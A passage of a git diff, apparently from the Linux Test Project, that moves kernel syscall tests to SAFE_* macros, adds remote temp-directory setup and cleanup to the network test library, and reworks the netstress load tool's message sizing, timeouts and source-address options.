-	if (mount(dev, MNT_POINT, fs_type, MS_RDONLY, NULL) < 0) {
-		tst_brkm(TBROK | TERRNO, cleanup,
-			 "mount device:%s failed", dev);
-	}
+	SAFE_MOUNT(cleanup, dev, MNT_POINT, fs_type, MS_RDONLY, NULL);
 	mount_flag = 1;
 
 	ltpuser = SAFE_GETPWNAM(cleanup, "nobody");
diff --git a/testcases/kernel/syscalls/utimes/utimes01.c b/testcases/kernel/syscalls/utimes/utimes01.c
index b2450d2..c79bd09 100644
--- a/testcases/kernel/syscalls/utimes/utimes01.c
+++ b/testcases/kernel/syscalls/utimes/utimes01.c
@@ -141,20 +141,14 @@
 
 	tst_mkfs(cleanup, device, fs_type, NULL, NULL);
 	SAFE_MKDIR(cleanup, MNTPOINT, DIR_MODE);
-	if (mount(device, MNTPOINT, fs_type, 0, NULL) == -1) {
-		tst_brkm(TBROK | TERRNO, cleanup,
-			"mount device:%s failed", device);
-	}
+	SAFE_MOUNT(cleanup, device, MNTPOINT, fs_type, 0, NULL);
 	mount_flag = 1;
 	SAFE_TOUCH(cleanup, TESTFILE3, FILE_MODE, NULL);
 	ltpuser = SAFE_GETPWNAM(cleanup, LTPUSER1);
 	SAFE_CHOWN(cleanup, TESTFILE3, ltpuser->pw_uid,
 		ltpuser->pw_gid);
-	if (mount(device, MNTPOINT, fs_type,
-			MS_REMOUNT | MS_RDONLY, NULL) == -1) {
-		tst_brkm(TBROK | TERRNO, cleanup,
-			"mount device:%s failed", device);
-	}
+	SAFE_MOUNT(cleanup, device, MNTPOINT, fs_type, MS_REMOUNT | MS_RDONLY,
+		   NULL);
 
 	ltpuser = SAFE_GETPWNAM(cleanup, LTPUSER1);
 	SAFE_SETEUID(cleanup, ltpuser->pw_uid);
diff --git a/testcases/kernel/syscalls/vfork/vfork02.c b/testcases/kernel/syscalls/vfork/vfork02.c
index aadc599..efa70d0 100644
--- a/testcases/kernel/syscalls/vfork/vfork02.c
+++ b/testcases/kernel/syscalls/vfork/vfork02.c
@@ -78,6 +78,7 @@
 #include <sys/wait.h>
 
 #include "test.h"
+#include "safe_macros.h"
 
 char *TCID = "vfork02";
 int TST_TOTAL = 1;
@@ -185,10 +186,7 @@
 	}
 
 	/* Send the signal SIGUSR1 to itself so that SIGUSR1 is pending */
-	if (kill(getpid(), SIGUSR1) == -1) {
-		tst_brkm(TBROK, cleanup,
-			 "Fails to send the signal to the parent process");
-	}
+	SAFE_KILL(cleanup, getpid(), SIGUSR1);
 
 	/* If SIGUSR1 is not pending in the parent, fail */
 	if (sigpending(&PendSig) == -1) {
diff --git a/testcases/kernel/syscalls/waitid/waitid02.c b/testcases/kernel/syscalls/waitid/waitid02.c
index 431e910..dced6fa 100644
--- a/testcases/kernel/syscalls/waitid/waitid02.c
+++ b/testcases/kernel/syscalls/waitid/waitid02.c
@@ -48,6 +48,7 @@
 #include <sys/stat.h>
 
 #include "test.h"
+#include "safe_macros.h"
 #include "lapi/syscalls.h"
 
 struct testcase_t {
@@ -162,8 +163,7 @@
 static void wait4child(pid_t pid)
 {
 	int status;
-	if (waitpid(pid, &status, 0) == -1)
-		tst_brkm(TBROK | TERRNO, cleanup, "waitpid");
+	SAFE_WAITPID(cleanup, pid, &status, 0);
 	if (!WIFEXITED(status) || WEXITSTATUS(status) != 0)
 		tst_resm(TFAIL, "child returns %d", status);
 }
diff --git a/testcases/kernel/timers/clock_settime/clock_settime03.c b/testcases/kernel/timers/clock_settime/clock_settime03.c
index b4c10de..38b41d0 100644
--- a/testcases/kernel/timers/clock_settime/clock_settime03.c
+++ b/testcases/kernel/timers/clock_settime/clock_settime03.c
@@ -22,6 +22,7 @@
 #include <unistd.h>
 
 #include "test.h"
+#include "safe_macros.h"
 #include "common_timers.h"
 
 static void setup(void);
@@ -80,11 +81,7 @@
 
 			/* Change the UID back to root */
 			if (i == TST_TOTAL - 1) {
-				if (seteuid(0) == -1) {
-					tst_brkm(TBROK | TERRNO, cleanup,
-						 "Failed to set the effective "
-						 "uid to root");
-				}
+				SAFE_SETEUID(cleanup, 0);
 			}
 
 			/* check return code */
diff --git a/testcases/kernel/tracing/ftrace_test/ftrace_regression01.sh b/testcases/kernel/tracing/ftrace_test/ftrace_regression01.sh
index f90e83a..d6969cf 100755
--- a/testcases/kernel/tracing/ftrace_test/ftrace_regression01.sh
+++ b/testcases/kernel/tracing/ftrace_test/ftrace_regression01.sh
@@ -64,7 +64,7 @@
 			exc_page_fault_enable=`cat $EXC_PAGE_FAULT_ENABLE`
 			echo 1 > $EXC_PAGE_FAULT_ENABLE
 		else
-			mm_page_fault_enable=`cat MM_PAGE_FAULT_ENABLE`
+			mm_page_fault_enable=`cat $MM_PAGE_FAULT_ENABLE`
 			echo 1 > $MM_PAGE_FAULT_ENABLE
 		fi
 	done
diff --git a/testcases/lib/test.sh b/testcases/lib/test.sh
index d16444e..341c1f0 100644
--- a/testcases/lib/test.sh
+++ b/testcases/lib/test.sh
@@ -24,6 +24,7 @@
 export LTP_RET_VAL=0
 export TST_COUNT=1
 export TST_LIB_LOADED=1
+export TST_TMPDIR_RHOST=0
 
 . tst_ansi_color.sh
 
@@ -135,6 +136,7 @@
 	if [ -n "$TST_TMPDIR" ]; then
 		cd "$LTPROOT"
 		rm -r "$TST_TMPDIR"
+		[ "$TST_TMPDIR_RHOST" = 1 ] && tst_cleanup_rhost
 	fi
 }
 
diff --git a/testcases/lib/test_net.sh b/testcases/lib/test_net.sh
index a1d68ce..1e001f7 100644
--- a/testcases/lib/test_net.sh
+++ b/testcases/lib/test_net.sh
@@ -53,9 +53,9 @@
 # Run command on remote host.
 # Options:
 # -b run in background
+# -B run in background and save output to $TST_TMPDIR/bg.cmd
 # -s safe option, if something goes wrong, will exit with TBROK
 # -c specify command to run
-
 tst_rhost_run()
 {
 	local pre_cmd=
@@ -64,13 +64,15 @@
 	local user="root"
 	local cmd=
 	local safe=0
+	local bg=
 
 	OPTIND=0
 
-	while getopts :bsc:u: opt; do
+	while getopts :bBsc:u: opt; do
 		case "$opt" in
-		b) [ "$TST_USE_NETNS" ] && pre_cmd="" || pre_cmd="nohup"
-		   post_cmd=" > /dev/null 2>&1 &"
+		b|B) [ "$TST_USE_NETNS" ] && pre_cmd= || pre_cmd="nohup"
+		   [ "$opt" = b ] && bg="/dev/null" || bg="$TST_TMPDIR/bg.cmd"
+		   post_cmd=" > $bg 2>&1 &"
 		   out="1> /dev/null"
 		;;
 		s) safe=1 ;;
@@ -388,13 +390,20 @@
 	done
 }
 
+tst_dump_rhost_cmd()
+{
+	tst_rhost_run -c "cat $TST_TMPDIR/bg.cmd"
+}
+
 # Run network load test, see 'netstress -h' for option description
 tst_netload()
 {
 	local rfile="tst_netload.res"
 	local expect_res="pass"
 	local ret=0
-	local type=
+	local type="tcp"
+	local hostopt=
+	local setup_srchost=0
 	# common options for client and server
 	local cs_opts=
 
@@ -407,31 +416,41 @@
 	local s_opts=
 
 	OPTIND=0
-	while getopts :a:H:d:n:N:r:R:b:t:T:fe:m: opt; do
+	while getopts :a:H:d:n:N:r:R:S:b:t:T:fFe:m:A: opt; do
 		case "$opt" in
 		a) c_num="$OPTARG" ;;
-		H) c_opts="${c_opts}-H $OPTARG " ;;
+		H) c_opts="${c_opts}-H $OPTARG "
+		   hostopt="$OPTARG" ;;
 		d) rfile="$OPTARG" ;;
 		n) c_opts="${c_opts}-n $OPTARG " ;;
 		N) c_opts="${c_opts}-N $OPTARG " ;;
 		r) c_requests="$OPTARG" ;;
+		A) c_opts="${c_opts}-A $OPTARG " ;;
 		R) s_replies="$OPTARG" ;;
+		S) c_opts="${c_opts}-S $OPTARG "
+		   setup_srchost=1 ;;
 		b) cs_opts="${cs_opts}-b $OPTARG " ;;
 		t) cs_opts="${cs_opts}-t $OPTARG " ;;
 		T) cs_opts="${cs_opts}-T $OPTARG "
 		   type="$OPTARG" ;;
 		m) cs_opts="${cs_opts}-m $OPTARG " ;;
 		f) cs_opts="${cs_opts}-f " ;;
+		F) cs_opts="${cs_opts}-F " ;;
 		e) expect_res="$OPTARG" ;;
 		*) tst_brkm TBROK "tst_netload: unknown option: $OPTARG" ;;
 		esac
 	done
 	OPTIND=0
 
+	[ "$setup_srchost" = 1 ] && s_opts="${s_opts}-S $hostopt "
+
 	local expect_ret=0
 	[ "$expect_res" != "pass" ] && expect_ret=1
 
-	local port="$(tst_rhost_run -c 'tst_get_unused_port ipv6 stream')"
+	local ptype="stream"
+	[ "$type" = "udp" ] && ptype="dgram"
+
+	local port=$(tst_rhost_run -c "tst_get_unused_port ipv6 $ptype")
 	[ $? -ne 0 ] && tst_brkm TBROK "failed to get unused port"
 
 	tst_rhost_run -c "pkill -9 netstress\$"
@@ -440,7 +459,7 @@
 	s_opts="${cs_opts}${s_opts}-R $s_replies -g $port"
 
 	tst_resm TINFO "run server 'netstress $s_opts'"
-	tst_rhost_run -s -b -c "netstress $s_opts"
+	tst_rhost_run -s -B -c "netstress $s_opts"
 
 	tst_resm TINFO "check that server port in 'LISTEN' state"
 	local sec_waited=
@@ -449,12 +468,13 @@
 	if [ "$type" = "sctp" ]; then
 		sock_cmd="netstat -naS | grep $port | grep -q LISTEN"
 	else
-		sock_cmd="ss -ldutn | grep -q $port"
+		sock_cmd="ss -ln$(echo $type | head -c1) | grep -q $port"
 	fi
 
 	for sec_waited in $(seq 1 1200); do
 		tst_rhost_run -c "$sock_cmd" && break
 		if [ $sec_waited -eq 1200 ]; then
+			tst_dump_rhost_cmd
 			tst_rhost_run -c "ss -dutnp | grep $port"
 			tst_brkm TFAIL "server not in LISTEN state"
 		fi
@@ -466,12 +486,14 @@
 	tst_rhost_run -c "pkill -9 netstress\$"
 
 	if [ "$expect_ret" -ne "$ret" ]; then
+		tst_dump_rhost_cmd
 		cat tst_netload.log
 		tst_brkm TFAIL "expected '$expect_res' but ret: '$ret'"
 	fi
 
 	if [ "$ret" -eq 0 ]; then
 		if [ ! -f $rfile ]; then
+			tst_dump_rhost_cmd
 			cat tst_netload.log
 			tst_brkm TFAIL "can't read $rfile"
 		fi
@@ -577,6 +599,11 @@
 	tst_rhost_run $safe -c "sysctl -qw $add_opt $name=$value"
 }
 
+tst_cleanup_rhost()
+{
+	tst_rhost_run -c "rm -rf $TST_TMPDIR"
+}
+
 # Management Link
 [ -z "$RHOST" ] && TST_USE_NETNS="yes"
 export RHOST="$RHOST"
@@ -669,3 +696,10 @@
 
 # More information about network parameters can be found
 # in the following document: testcases/network/stress/README
+
+if [ "$TST_NEEDS_TMPDIR" = 1 ]; then
+	tst_tmpdir
+	tst_rhost_run -c "mkdir -p $TST_TMPDIR"
+	tst_rhost_run -c "chmod 777 $TST_TMPDIR"
+	export TST_TMPDIR_RHOST=1
+fi
diff --git a/testcases/lib/tst_device.c b/testcases/lib/tst_device.c
index d33cac6..d24e96b 100644
--- a/testcases/lib/tst_device.c
+++ b/testcases/lib/tst_device.c
@@ -27,7 +27,6 @@
 extern struct tst_test *tst_test;
 
 static struct tst_test test = {
-	.tid = "tst_device"
 };
 
 static void print_help(void)
@@ -59,6 +58,11 @@
 	if (!device)
 		return 1;
 
+	if (tst_clear_device(device)) {
+		tst_release_device(device);
+		return 1;
+	}
+
 	printf("%s", device);
 
 	return 0;
diff --git a/testcases/lib/tst_net_iface_prefix.c b/testcases/lib/tst_net_iface_prefix.c
index 803f1e7..3868d36 100644
--- a/testcases/lib/tst_net_iface_prefix.c
+++ b/testcases/lib/tst_net_iface_prefix.c
@@ -57,7 +57,7 @@
 	uint8_t family = is_ipv6 ? AF_INET6 : AF_INET;
 
 	char buf[16384];
-	int len;
+	unsigned int len;
 
 	struct {
 		struct nlmsghdr nlhdr;
diff --git a/testcases/lib/tst_test.sh b/testcases/lib/tst_test.sh
index 9453759..249b054 100644
--- a/testcases/lib/tst_test.sh
+++ b/testcases/lib/tst_test.sh
@@ -28,6 +28,7 @@
 export TST_CONF=0
 export TST_COUNT=1
 export TST_ITERATIONS=1
+export TST_TMPDIR_RHOST=0
 
 . tst_ansi_color.sh
 
@@ -49,6 +50,7 @@
 	if [ "$TST_NEEDS_TMPDIR" = 1 -a -n "$TST_TMPDIR" ]; then
 		cd "$LTPROOT"
 		rm -r "$TST_TMPDIR"
+		[ "$TST_TMPDIR_RHOST" = 1 ] && tst_cleanup_rhost
 	fi
 
 	if [ $TST_FAIL -gt 0 ]; then
diff --git a/testcases/network/busy_poll/busy_poll01.sh b/testcases/network/busy_poll/busy_poll01.sh
index fb2bb52..3c30356 100755
--- a/testcases/network/busy_poll/busy_poll01.sh
+++ b/testcases/network/busy_poll/busy_poll01.sh
@@ -19,6 +19,7 @@
 
 TST_TOTAL=1
 TCID="busy_poll01"
+TST_NEEDS_TMPDIR=1
 
 . test_net.sh
 . busy_poll_lib.sh
@@ -44,8 +45,6 @@
 	tst_rhost_run -s -c "sysctl -q -w net.core.busy_poll=$value"
 }
 
-tst_tmpdir
-
 busy_read_old="$(cat /proc/sys/net/core/busy_read)"
 busy_poll_old="$(cat /proc/sys/net/core/busy_poll)"
 
diff --git a/testcases/network/busy_poll/busy_poll02.sh b/testcases/network/busy_poll/busy_poll02.sh
index 7074334..4278579 100755
--- a/testcases/network/busy_poll/busy_poll02.sh
+++ b/testcases/network/busy_poll/busy_poll02.sh
@@ -19,6 +19,7 @@
 
 TST_TOTAL=1
 TCID="busy_poll02"
+TST_NEEDS_TMPDIR=1
 
 . test_net.sh
 . busy_poll_lib.sh
@@ -38,8 +39,6 @@
 	tst_rhost_run -s -c "sysctl -q -w net.core.busy_poll=$value"
 }
 
-tst_tmpdir
-
 busy_poll_old="$(cat /proc/sys/net/core/busy_poll)"
 rbusy_poll_old=$(tst_rhost_run -c 'cat /proc/sys/net/core/busy_poll')
 
diff --git a/testcases/network/busy_poll/busy_poll03.sh b/testcases/network/busy_poll/busy_poll03.sh
index 628b1b4..80e0de3 100755
--- a/testcases/network/busy_poll/busy_poll03.sh
+++ b/testcases/network/busy_poll/busy_poll03.sh
@@ -19,6 +19,7 @@
 
 TST_TOTAL=1
 TCID="busy_poll03"
+TST_NEEDS_TMPDIR=1
 
 . test_net.sh
 . busy_poll_lib.sh
@@ -38,8 +39,6 @@
 	tst_rhost_run -s -c "sysctl -q -w net.core.busy_poll=$value"
 }
 
-tst_tmpdir
-
 busy_poll_old="$(cat /proc/sys/net/core/busy_poll)"
 rbusy_poll_old=$(tst_rhost_run -c 'cat /proc/sys/net/core/busy_poll')
 
diff --git a/testcases/network/busy_poll/busy_poll_lib.sh b/testcases/network/busy_poll/busy_poll_lib.sh
index f7157d2..a00c74d 100755
--- a/testcases/network/busy_poll/busy_poll_lib.sh
+++ b/testcases/network/busy_poll/busy_poll_lib.sh
@@ -25,7 +25,14 @@
 
 tst_check_cmds pkill sysctl ethtool
 
-ethtool --show-features $(tst_iface) | grep -q 'busy-poll.*on' || \
-	tst_brkm TCONF "busy poll not supported by driver"
+if tst_kvcmp -lt "4.5"; then
+	ethtool --show-features $(tst_iface) | \
+		grep -q 'busy-poll.*on' || \
+		tst_brkm TCONF "busy poll not supported by driver"
+else
+	drvs="bnx2x|bnxt|cxgb4|enic|benet|ixgbe|ixgbevf|mlx4|mlx5|myri10ge|sfc|virtio"
+	ethtool -i $(tst_iface) | grep -qE "driver: ($drvs)" || \
+		tst_brkm TCONF "busy poll not supported"
+fi
 
 tst_require_root
diff --git a/testcases/network/dccp/dccp01.sh b/testcases/network/dccp/dccp01.sh
index 2337d98..0475588 100755
--- a/testcases/network/dccp/dccp01.sh
+++ b/testcases/network/dccp/dccp01.sh
@@ -19,6 +19,7 @@
 TCID=dccp01
 TST_TOTAL=3
 TST_CLEANUP="cleanup"
+TST_NEEDS_TMPDIR=1
 
 . test_net.sh
 
@@ -30,7 +31,6 @@
 setup()
 {
 	tst_require_root
-	tst_tmpdir
 }
 
 test_run()
diff --git a/testcases/network/dctcp/dctcp01.sh b/testcases/network/dctcp/dctcp01.sh
index 7f98f9d..d8d4eb9 100755
--- a/testcases/network/dctcp/dctcp01.sh
+++ b/testcases/network/dctcp/dctcp01.sh
@@ -19,6 +19,7 @@
 TCID=dctcp01
 TST_TOTAL=1
 TST_CLEANUP="cleanup"
+TST_NEEDS_TMPDIR=1
 def_alg="cubic"
 prev_alg=
 
@@ -56,8 +57,6 @@
 		tst_brkm TCONF "netem doesn't support ECN"
 	fi
 
-	tst_tmpdir
-
 	prev_alg="$(sysctl -n net.ipv4.tcp_congestion_control)"
 }
 
diff --git a/testcases/network/generate.sh b/testcases/network/generate.sh
index 00216a6..939f792 100755
--- a/testcases/network/generate.sh
+++ b/testcases/network/generate.sh
@@ -55,7 +55,7 @@
 if [ ! -e "bin.sm" ] ; then
 	cnt=0
 	while [ $cnt -lt 5 ] ; do
-		gzip -1 -c ascii.sm >> "bin.sm"
+		gzip -1 -c -n ascii.sm >> "bin.sm"
 		cnt=$(($cnt + 1))
 	done
 fi
diff --git a/testcases/network/iptables/iptables_tests.sh b/testcases/network/iptables/iptables_tests.sh
index a3f90a3..4a2a37c 100755
--- a/testcases/network/iptables/iptables_tests.sh
+++ b/testcases/network/iptables/iptables_tests.sh
@@ -36,7 +36,7 @@
 	if [ $? -ne 0 ]; then
 		iptables -L > tst_iptables.out 2>&1
 		if [ $? -ne 0 ]; then
-			tst_brkm TBROK "no iptables support in kenrel."
+			tst_brkm TBROK "no iptables support in kernel."
 		fi
 	fi
 
diff --git a/testcases/network/netstress/netstress.c b/testcases/network/netstress/netstress.c
index 4b211aa..eec60b8 100644
--- a/testcases/network/netstress/netstress.c
+++ b/testcases/network/netstress/netstress.c
@@ -21,10 +21,12 @@
 #include <pthread.h>
 #include <stdlib.h>
 #include <limits.h>
+#include <linux/dccp.h>
 #include <sys/types.h>
 #include <sys/socket.h>
 #include <netdb.h>
 #include <netinet/in.h>
+#include <netinet/tcp.h>
 #include <arpa/inet.h>
 #include <poll.h>
 #include <time.h>
@@ -32,38 +34,17 @@
 #include <unistd.h>
 #include <errno.h>
 
+#include "lapi/dccp.h"
+#include "lapi/netinet_in.h"
 #include "lapi/posix_clocks.h"
+#include "lapi/socket.h"
+#include "lapi/tcp.h"
+#include "tst_safe_stdio.h"
 #include "tst_safe_pthread.h"
 #include "tst_test.h"
 
 static const int max_msg_len = (1 << 16) - 1;
-
-#ifndef SOCK_DCCP
-#define SOCK_DCCP		6
-#endif
-#ifndef IPPROTO_DCCP
-#define IPPROTO_DCCP		33
-#endif
-#ifndef SOL_DCCP
-#define SOL_DCCP		269
-#endif
-#ifndef DCCP_SOCKOPT_SERVICE
-#define DCCP_SOCKOPT_SERVICE	2
-#endif
-
-/* TCP server requiers */
-#ifndef TCP_FASTOPEN
-#define TCP_FASTOPEN	23
-#endif
-
-#ifndef SO_BUSY_POLL
-#define SO_BUSY_POLL	46
-#endif
-
-/* TCP client requiers */
-#ifndef MSG_FASTOPEN
-#define MSG_FASTOPEN	0x20000000 /* Send data in TCP SYN */
-#endif
+static const int min_msg_len = 5;
 
 enum {
 	SERVER_HOST = 0,
@@ -76,7 +57,7 @@
 	TFO_ENABLED,
 };
 static int tfo_value = -1;
-static char *fastopen_api;
+static char *fastopen_api, *fastopen_sapi;
 
 static const char tfo_cfg[]		= "/proc/sys/net/ipv4/tcp_fastopen";
 static const char tcp_tw_reuse[]	= "/proc/sys/net/ipv4/tcp_tw_reuse";
@@ -90,10 +71,9 @@
 static const int start_byte	= 0x24;
 static const int start_fin_byte	= 0x25;
 static const int end_byte	= 0x0a;
-static int client_msg_size	= 32;
-static int server_msg_size	= 128;
-static char *client_msg;
-static char *server_msg;
+static int init_cln_msg_len	= 32;
+static int init_srv_msg_len	= 128;
+static int max_rand_msg_len;
 
 /*
  * The number of requests from client after
@@ -104,7 +84,9 @@
 static int clients_num;
 static char *tcp_port		= "61000";
 static char *server_addr	= "localhost";
+static char *source_addr;
 static int busy_poll		= -1;
+static int max_etime_cnt = 12; /* ~30 sec max timeout if no connection */
 
 enum {
 	TYPE_TCP = 0,
@@ -123,15 +105,14 @@
 /* server socket */
 static int sfd;
 
-/* how long a client must wait for the server's reply, microsec */
-static long wait_timeout = 60000000L;
+/* how long a client must wait for the server's reply */
+static int wait_timeout = 60000;
 
 /* in the end test will save time result in this file */
 static char *rpath = "tfo_result";
 
-static char *verbose;
-
-static char *narg, *Narg, *qarg, *rarg, *Rarg, *aarg, *Targ, *barg, *targ;
+static char *narg, *Narg, *qarg, *rarg, *Rarg, *aarg, *Targ, *barg, *targ,
+	    *Aarg;
 
 /* common structure for TCP/UDP server and TCP/UDP client */
 struct net_func {
@@ -152,22 +133,20 @@
 
 static void init_socket_opts(int sd)
 {
-	if (busy_poll >= 0) {
-		SAFE_SETSOCKOPT(sd, SOL_SOCKET, SO_BUSY_POLL,
-			&busy_poll, sizeof(busy_poll));
-	}
+	if (busy_poll >= 0)
+		SAFE_SETSOCKOPT_INT(sd, SOL_SOCKET, SO_BUSY_POLL, busy_poll);
 
 	if (proto_type == TYPE_DCCP) {
-		SAFE_SETSOCKOPT(sd, SOL_DCCP, DCCP_SOCKOPT_SERVICE,
-				&service_code, sizeof(uint32_t));
+		SAFE_SETSOCKOPT_INT(sd, SOL_DCCP, DCCP_SOCKOPT_SERVICE,
+			service_code);
 	}
+
+	if (client_mode && fastopen_sapi)
+		SAFE_SETSOCKOPT_INT(sd, IPPROTO_TCP, TCP_FASTOPEN_CONNECT, 1);
 }
 
 static void do_cleanup(void)
 {
-	free(client_msg);
-	free(server_msg);
-
 	if (net.cleanup)
 		net.cleanup();
 
@@ -184,7 +163,8 @@
 }
 TST_DECLARE_ONCE_FN(cleanup, do_cleanup)
 
-static int sock_recv_poll(int fd, char *buf, int buf_size, int offset)
+static int sock_recv_poll(int fd, char *buf, int buf_size, int offset,
+			  int *timeout)
 {
 	struct pollfd pfd;
 	pfd.fd = fd;
@@ -193,7 +173,7 @@
 
 	while (1) {
 		errno = 0;
-		int ret = poll(&pfd, 1, wait_timeout / 1000);
+		int ret = poll(&pfd, 1, *timeout);
 		if (ret == -1) {
 			if (errno == EINTR)
 				continue;
@@ -216,22 +196,26 @@
 		if (len == -1 && errno == EINTR)
 			continue;
 
+		if (len == 0)
+			errno = ESHUTDOWN;
+
 		break;
 	}
 
 	return len;
 }
 
-static int client_recv(int *fd, char *buf)
+static int client_recv(int *fd, char *buf, int srv_msg_len, int *etime_cnt,
+		       int *timeout)
 {
 	int len, offset = 0;
 
 	while (1) {
 		errno = 0;
-		len = sock_recv_poll(*fd, buf, server_msg_size, offset);
+		len = sock_recv_poll(*fd, buf, srv_msg_len, offset, timeout);
 
 		/* socket closed or msg is not valid */
-		if (len < 1 || (offset + len) > server_msg_size ||
+		if (len < 1 || (offset + len) > srv_msg_len ||
 		   (buf[0] != start_byte && buf[0] != start_fin_byte)) {
 			if (!errno)
 				errno = ENOMSG;
@@ -241,17 +225,21 @@
 		if (buf[offset - 1] != end_byte)
 			continue;
 
-		if (verbose) {
-			tst_res_hexd(TINFO, buf, offset,
-				"msg recv from sock %d:", *fd);
-		}
-
 		/* recv last msg, close socket */
 		if (buf[0] == start_fin_byte)
 			break;
 		return 0;
 	}
 
+	if (errno == ETIME && sock_type != SOCK_STREAM) {
+		if (++(*etime_cnt) > max_etime_cnt)
+			tst_brk(TFAIL, "protocol timeout: %dms", *timeout);
+		/* Increase timeout in poll up to 3.2 sec */
+		if (*timeout < 3000)
+			*timeout <<= 1;
+		return 0;
+	}
+
 	SAFE_CLOSE(*fd);
 	return (errno) ? -1 : 0;
 }
@@ -267,6 +255,9 @@
 		SAFE_SENDTO(1, cfd, msg, size, MSG_FASTOPEN | MSG_NOSIGNAL,
 			remote_addrinfo->ai_addr, remote_addrinfo->ai_addrlen);
 	} else {
+		if (local_addrinfo)
+			SAFE_BIND(cfd, local_addrinfo->ai_addr,
+				  local_addrinfo->ai_addrlen);
 		/* old TCP API */
 		SAFE_CONNECT(cfd, remote_addrinfo->ai_addr,
 			     remote_addrinfo->ai_addrlen);
@@ -276,20 +267,49 @@
 	return cfd;
 }
 
+union net_size_field {
+	char bytes[2];
+	uint16_t value;
+};
+
+static void make_client_request(char client_msg[], int *cln_len, int *srv_len)
+{
+	if (max_rand_msg_len)
+		*cln_len = *srv_len = min_msg_len + rand() % max_rand_msg_len;
+
+	memset(client_msg, client_byte, *cln_len);
+	client_msg[0] = start_byte;
+
+	/* set size for reply */
+	union net_size_field net_size;
+
+	net_size.value = htons(*srv_len);
+	client_msg[1] = net_size.bytes[0];
+	client_msg[2] = net_size.bytes[1];
+
+	client_msg[*cln_len - 1] = end_byte;
+}
+
 void *client_fn(LTP_ATTRIBUTE_UNUSED void *arg)
 {
-	char buf[server_msg_size];
-	int cfd, i = 0;
+	int cln_len = init_cln_msg_len,
+	    srv_len = init_srv_msg_len;
+	char buf[max_msg_len];
+	char client_msg[max_msg_len];
+	int cfd, i = 0, etime_cnt = 0;
 	intptr_t err = 0;
+	int timeout = wait_timeout;
+
+	make_client_request(client_msg, &cln_len, &srv_len);
 
 	/* connect & send requests */
-	cfd = client_connect_send(client_msg, client_msg_size);
+	cfd = client_connect_send(client_msg, cln_len);
 	if (cfd == -1) {
 		err = errno;
 		goto out;
 	}
 
-	if (client_recv(&cfd, buf)) {
+	if (client_recv(&cfd, buf, srv_len, &etime_cnt, &timeout)) {
 		err = errno;
 		goto out;
 	}
@@ -299,13 +319,14 @@
 			goto send;
 
 		if (cfd == -1) {
-			cfd = client_connect_send(client_msg, client_msg_size);
+			cfd = client_connect_send(client_msg, cln_len);
 			if (cfd == -1) {
 				err = errno;
 				goto out;
 			}
 
-			if (client_recv(&cfd, buf)) {
+			if (client_recv(&cfd, buf, srv_len, &etime_cnt,
+			    &timeout)) {
 				err = errno;
 				break;
 			}
@@ -313,14 +334,12 @@
 		}
 
 send:
-		if (verbose) {
-			tst_res_hexd(TINFO, client_msg, client_msg_size,
-				"try to send msg[%d]", i);
-		}
+		if (max_rand_msg_len)
+			make_client_request(client_msg, &cln_len, &srv_len);
 
-		SAFE_SEND(1, cfd, client_msg, client_msg_size, MSG_NOSIGNAL);
+		SAFE_SEND(1, cfd, client_msg, cln_len, MSG_NOSIGNAL);
 
-		if (client_recv(&cfd, buf)) {
+		if (client_recv(&cfd, buf, srv_len, &etime_cnt, &timeout)) {
 			err = errno;
 			break;
 		}
@@ -336,24 +355,6 @@
 	return (void *) err;
 }
 
-union net_size_field {
-	char bytes[2];
-	uint16_t value;
-};
-
-static void make_client_request(void)
-{
-	client_msg[0] = start_byte;
-
-	/* set size for reply */
-	union net_size_field net_size;
-	net_size.value = htons(server_msg_size);
-	client_msg[1] = net_size.bytes[0];
-	client_msg[2] = net_size.bytes[1];
-
-	client_msg[client_msg_size - 1] = end_byte;
-}
-
 static int parse_client_request(const char *msg)
 {
 	union net_size_field net_size;
@@ -369,6 +370,19 @@
 static struct timespec tv_client_start;
 static struct timespec tv_client_end;
 
+static void setup_addrinfo(const char *src_addr, const char *port,
+			   const struct addrinfo *hints,
+			   struct addrinfo **addr_info)
+{
+	int err = getaddrinfo(src_addr, port, hints, addr_info);
+
+	if (err)
+		tst_brk(TBROK, "getaddrinfo failed, %s", gai_strerror(err));
+
+	if (!*addr_info)
+		tst_brk(TBROK, "failed to get the address");
+}
+
 static void client_init(void)
 {
 	if (clients_num >= MAX_THREADS) {
@@ -378,11 +392,6 @@
 
 	thread_ids = SAFE_MALLOC(sizeof(pthread_t) * clients_num);
 
-	client_msg = SAFE_MALLOC(client_msg_size);
-	memset(client_msg, client_byte, client_msg_size);
-
-	make_client_request();
-
 	struct addrinfo hints;
 	memset(&hints, 0, sizeof(struct addrinfo));
 	hints.ai_family = AF_UNSPEC;
@@ -390,11 +399,9 @@
 	hints.ai_flags = 0;
 	hints.ai_protocol = 0;
 
-	int err = getaddrinfo(server_addr, tcp_port, &hints, &remote_addrinfo);
-	if (err) {
-		tst_brk(TBROK, "getaddrinfo of '%s' failed, %s",
-			server_addr, gai_strerror(err));
-	}
+	if (source_addr)
+		setup_addrinfo(source_addr, NULL, &hints, &local_addrinfo);
+	setup_addrinfo(server_addr, tcp_port, &hints, &remote_addrinfo);
 
 	tst_res(TINFO, "Running the test over IPv%s",
 		(remote_addrinfo->ai_family == AF_INET6) ? "6" : "4");
@@ -426,9 +433,14 @@
 
 	tst_res(TINFO, "total time '%ld' ms", clnt_time);
 
+	char client_msg[min_msg_len];
+	int msg_len = min_msg_len;
+
+	max_rand_msg_len = 0;
+	make_client_request(client_msg, &msg_len, &msg_len);
 	/* ask server to terminate */
 	client_msg[0] = start_fin_byte;
-	int cfd = client_connect_send(client_msg, client_msg_size);
+	int cfd = client_connect_send(client_msg, msg_len);
 	if (cfd != -1) {
 		shutdown(cfd, SHUT_WR);
 		SAFE_CLOSE(cfd);
@@ -458,9 +470,10 @@
 {
 	int client_fd = (intptr_t) cfd;
 	int num_requests = 0, offset = 0;
+	int timeout = wait_timeout;
 	/* Reply will be constructed from first client request */
 	char send_msg[max_msg_len];
-	int send_msg_size = 0;
+	int send_msg_len = 0;
 	char recv_msg[max_msg_len];
 	ssize_t recv_len;
 
@@ -470,7 +483,7 @@
 
 	while (1) {
 		recv_len = sock_recv_poll(client_fd, recv_msg,
-			max_msg_len, offset);
+			max_msg_len, offset, &timeout);
 
 		if (recv_len == 0)
 			break;
@@ -493,21 +506,13 @@
 		if (recv_msg[0] == start_fin_byte)
 			goto out;
 
-		if (verbose) {
-			tst_res_hexd(TINFO, recv_msg, offset,
-				"msg recv from sock %d:", client_fd);
+		send_msg_len = parse_client_request(recv_msg);
+		if (send_msg_len < 0) {
+			tst_res(TFAIL, "wrong msg size '%d'",
+				send_msg_len);
+			goto out;
 		}
-
-		/* if we send reply for the first time, construct it here */
